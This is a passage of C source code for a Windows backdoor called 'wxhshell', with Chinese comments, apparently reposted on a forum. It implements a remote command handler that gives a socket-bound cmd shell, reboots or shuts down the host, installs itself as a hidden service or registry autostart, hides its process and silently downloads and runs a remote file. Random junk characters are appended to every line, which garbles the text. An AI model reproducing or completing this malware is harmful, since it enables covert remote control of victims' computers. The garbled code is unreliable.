    switch(cmd[0]) { T;K,.a8bU  
  rM<|<6(L  
  // 帮助 yo]!Zn  
  case '?': { %> Z;/j|#r  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); qXPjxTg{[  
    break; o5?f]Uq5 ,  
  } b)RU+9x &  
  // 安装 OEmz`JJ67  
  case 'i': { J4 [7*v  
    if(Install()) UUi@ U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GADbXp3  
    else LN}eD\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Nr)v!z~y   
    break; ][3H6T!ckL  
    } pwAawm  
  // 卸载 ={,\6a|]:  
  case 'r': { t"Ok-!c|  
    if(Uninstall()) `_Iy8rv:P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _|qJ)gD[  
    else ov&4&v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o&}!bq]  
    break; O|j(CaF  
    } 1H sfCky{  
  // 显示 wxhshell 所在路径 d#E]>:w9  
  case 'p': { 5VI c  
    char svExeFile[MAX_PATH]; {`5Sh1b  
    strcpy(svExeFile,"\n\r"); h.CbOI%Q  
      strcat(svExeFile,ExeFile); Wm>[5h%>  
        send(wsh,svExeFile,strlen(svExeFile),0); @b[{.m U  
    break;  x~p8Mcv  
    } pJ35M  
  // 重启 P(pw$ q$S  
  case 'b': { h{xC0NC)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ParOWs~W/  
    if(Boot(REBOOT)) 6)63Yp(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ojqbj0E9  
    else { *y +T(73  
    closesocket(wsh); s&:LY"[`  
    ExitThread(0); L&V;Xvbu%  
    } 70bI}/u  
    break; Pf&\2_H3s9  
    } x_Zi^]  
  // 关机 NH&/=  
  case 'd': { 3db ,6R  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Y+5nn  
    if(Boot(SHUTDOWN)) 8|k r|l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kDJ $kv  
    else { Sq^f}q  
    closesocket(wsh); qW*JB4`?a  
    ExitThread(0); BoQLjS{kN  
    } :xOne<@  
    break; I\djZG$s;N  
    } 1OB,UU"S$  
  // 获取shell OUCL tn\  
  case 's': { 'p<lfT  
    CmdShell(wsh); YjaEKM8*  
    closesocket(wsh);  1@Abs  
    ExitThread(0); +vOlA#t%Z  
    break; w#]> Nf  
  } Hl`S\  
  // 退出 tPu0r],`o  
  case 'x': { sb"z=4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); So>P)d$8+  
    CloseIt(wsh); IvuKpX>*  
    break; ny# ?^.1  
    } y+b4s Ff  
  // 离开 9gNQ,c \gT  
  case 'q': { <vxj*M;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?d@3y<A,~  
    closesocket(wsh); #ra"(/)  
    WSACleanup(); $n_'# m2LE  
    exit(1); O.61-rp  
    break; $HVus=D"  
        } Q9,H 0r-%  
  } lS"g[O+  
  } 69#mj*p@+  
mS?.xu  
  // 提示信息 K@av32{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ln6\Iis  
} w`_cmI  
  } K_/-mwA v  
P$LHsg]  
  return; o,o,(sII  
} 9G njJ  
nx{_^sK  
// shell模块句柄 _$s ;QI]x  
int CmdShell(SOCKET sock) pxm{?eBz  
{ %`*`HU#X  
STARTUPINFO si; 1Rrp#E}  
ZeroMemory(&si,sizeof(si)); D7q%rO|F'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lmmB=F  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >6fc` 3*!  
PROCESS_INFORMATION ProcessInfo; kLc}a5;  
char cmdline[]="cmd"; %eJolztKZ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,H6*9!Dv2  
  return 0; 6z;C~_BV  
} u!kC+0Y  
I*,!zym  
// 自身启动模式 tBR"sBiws  
int StartFromService(void) V>"nAh]}.  
{ hf5yTs  
typedef struct 80qSPitj  
{ yX%q7ex  
  DWORD ExitStatus; )_[eqr  
  DWORD PebBaseAddress; >K]s)VuWR  
  DWORD AffinityMask; 'Xj9sAB  
  DWORD BasePriority; J<K- Yeph  
  ULONG UniqueProcessId; <{$0mUn;s|  
  ULONG InheritedFromUniqueProcessId; M0Eq 7:Ba  
}   PROCESS_BASIC_INFORMATION; -M]NdgI  
!~X[qT  
PROCNTQSIP NtQueryInformationProcess; s?qRy 2  
""AP-7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Q[g>ee  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; S b0p?  
Po+I!TL'  
  HANDLE             hProcess; #<_gY  
  PROCESS_BASIC_INFORMATION pbi; sK1YmB :~a  
oWCy%76@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4sU*UePr  
  if(NULL == hInst ) return 0; D,cGW,2Nv  
Kob i!  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); I~:vX^%9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); w8MQA!=l  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -TIrbYS`  
hN0Y8Ia/5%  
  if (!NtQueryInformationProcess) return 0; <P)U Ggd  
8GRp1'\Hi  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); jC<1bf$K  
  if(!hProcess) return 0; syuW>Z8s  
2'R ;z< _  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?-'m#5i"  
/-Saz29f^Q  
  CloseHandle(hProcess); OnD!*jy  
(_:k s  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9VqE:c /  
if(hProcess==NULL) return 0; &/%A 9R,  
q. i2BoOd  
HMODULE hMod; m 2tw[6M  
char procName[255]; xZmO^F5KHj  
unsigned long cbNeeded; G)p pkH`qj  
r'!HWR  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); E cS+/  
q?R)9E$h  
  CloseHandle(hProcess); X5s.F%Np!  
X<pg^Y0  
if(strstr(procName,"services")) return 1; // 以服务启动 >[,ywRJ#_}  
'brt?oZ%  
  return 0; // 注册表启动 !v^{n+  
} U<T.o0s=  
N)F&c!anh  
// 主模块 oJ r&9.S  
int StartWxhshell(LPSTR lpCmdLine) 0?DD!H)&w  
{ 8KxBN)fO;  
  SOCKET wsl; 1iS]n;xcl/  
BOOL val=TRUE; HIK" Ce  
  int port=0; )<J|kC\r6c  
  struct sockaddr_in door; B8XW+U  
A`|Z2  
  if(wscfg.ws_autoins) Install(); Z%h _g-C  
[ " n+2;  
port=atoi(lpCmdLine); hDO\Q7  
Vrwy+o>:X  
if(port<=0) port=wscfg.ws_port; -4rXOmiA  
:v=^-&t  
  WSADATA data; n*'i{P]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,F&TSzH[@v  
O)0}yF$0  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }rWEa^  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); E_fH,YJ?9  
  door.sin_family = AF_INET; |E%i t?3M  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~0;l\^  
  door.sin_port = htons(port); Yf=an`"  
cRR[ci34k  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {6_M$"e.  
closesocket(wsl); 8R3x74fL  
return 1; kIC $ai6.  
} O\3 L x  
|4$.mb.  
  if(listen(wsl,2) == INVALID_SOCKET) { 8OS@gpz  
closesocket(wsl); )[t zAaP7  
return 1; lpjeEaw o4  
} Ri<7!Y?l  
  Wxhshell(wsl); fX ^h O+f  
  WSACleanup(); .Yw  
{D6p?TL+  
return 0; 9.:]eL  
n@TK}?\UoR  
} Su4&qY  
Aof)WKo  
// 以NT服务方式启动 R6(sWN-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \ F\ /<  
{ |S0w>VH>  
DWORD   status = 0; QLs9W& PG  
  DWORD   specificError = 0xfffffff; 0XcH  
$ \yZ;Z:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; p)u?x)w=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Po)!vL"   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; j&(Yk"j+  
  serviceStatus.dwWin32ExitCode     = 0; .S5%Qa [uW  
  serviceStatus.dwServiceSpecificExitCode = 0; ^"\3dfzKM  
  serviceStatus.dwCheckPoint       = 0; 0[# zn  
  serviceStatus.dwWaitHint       = 0; ;+Dq 3NE  
As}e I!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?Iin/<y  
  if (hServiceStatusHandle==0) return; 9wTN *y  
jkQ%b.a  
status = GetLastError(); y[D8rFw  
  if (status!=NO_ERROR) f:\)oIW9Kk  
{ c\Z.V*o  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Y94 ^mt-  
    serviceStatus.dwCheckPoint       = 0; ?M/H{  
    serviceStatus.dwWaitHint       = 0; |Ix{JP"Lk  
    serviceStatus.dwWin32ExitCode     = status; 3P.v#TEst  
    serviceStatus.dwServiceSpecificExitCode = specificError; bwC~  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'bd|Oww1u  
    return; s|`ZV^R  
  } yd}1Mx  
=O1py_m  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; W0I)< S  
  serviceStatus.dwCheckPoint       = 0; PM?F;mj  
  serviceStatus.dwWaitHint       = 0; K9HXy*y49  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5LX%S.CW  
} < dD)>Y.  
*=2sXH1j  
// 处理NT服务事件,比如:启动、停止 Uh w:XV@m  
VOID WINAPI NTServiceHandler(DWORD fdwControl) f`gs/R  
{ )bgaqca_{  
switch(fdwControl) .c5)`  
{ u_Wftb?9  
case SERVICE_CONTROL_STOP: {vhP'!a6W  
  serviceStatus.dwWin32ExitCode = 0; anzt;V.;Y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; U.GRN)fL4  
  serviceStatus.dwCheckPoint   = 0; ?mA%`*=q  
  serviceStatus.dwWaitHint     = 0; nI es}n:  
  { TwI'}J|w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F"ua`ercI  
  } \) FFV-k5  
  return; tKX+eA]  
case SERVICE_CONTROL_PAUSE: Hrg~<-.La  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; S;8gX1Uf  
  break; ;:]#Isq  
case SERVICE_CONTROL_CONTINUE: 3J_B uMV  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (-[73v-w  
  break; 4Zn"K}q  
case SERVICE_CONTROL_INTERROGATE: Mb^E  
  break; ,J4rKGG  
}; ubQbEv{(,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); WAUgbImc{  
} Xl %ax!/  
?'IY0^  
// 标准应用程序主函数 c-y`Hm2"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) '@{Mq%`  
{ k d9<&.y{  
fZtuP1- 4  
// 获取操作系统版本 k0v&U@+-J  
OsIsNt=GetOsVer(); R_zQiSwG<  
GetModuleFileName(NULL,ExeFile,MAX_PATH); h]jy):9L  
a;h.I}*]  
  // 从命令行安装 V#,jUH|  
  if(strpbrk(lpCmdLine,"iI")) Install(); 5hvg]w95;  
UOa n  
  // 下载执行文件 s qEOXO  
if(wscfg.ws_downexe) { =L]GQ=d  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) k^#+Wma7  
  WinExec(wscfg.ws_filenam,SW_HIDE); {g]Mx|5Q  
} XQPlhpcv  
h0aK}`/a  
if(!OsIsNt) { 0}3Xry,{  
// 如果时win9x,隐藏进程并且设置为注册表启动 VK>Cf>  
HideProc(); (Zoopkxw  
StartWxhshell(lpCmdLine); P;U(2;9 N  
} )Y &RMYy  
else I /z`)  
  if(StartFromService()) GO]5~ 4k  
  // 以服务方式启动 4de:hE   
  StartServiceCtrlDispatcher(DispatchTable); "j/jhe6  
else <<Q}|$Wu  
  // 普通方式启动 c0v6*O)  
  StartWxhshell(lpCmdLine); mXOY,g2w  
U}R (  
return 0; V0G"Z6  
}
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只看该作者 1 发表于: 2006-10-10
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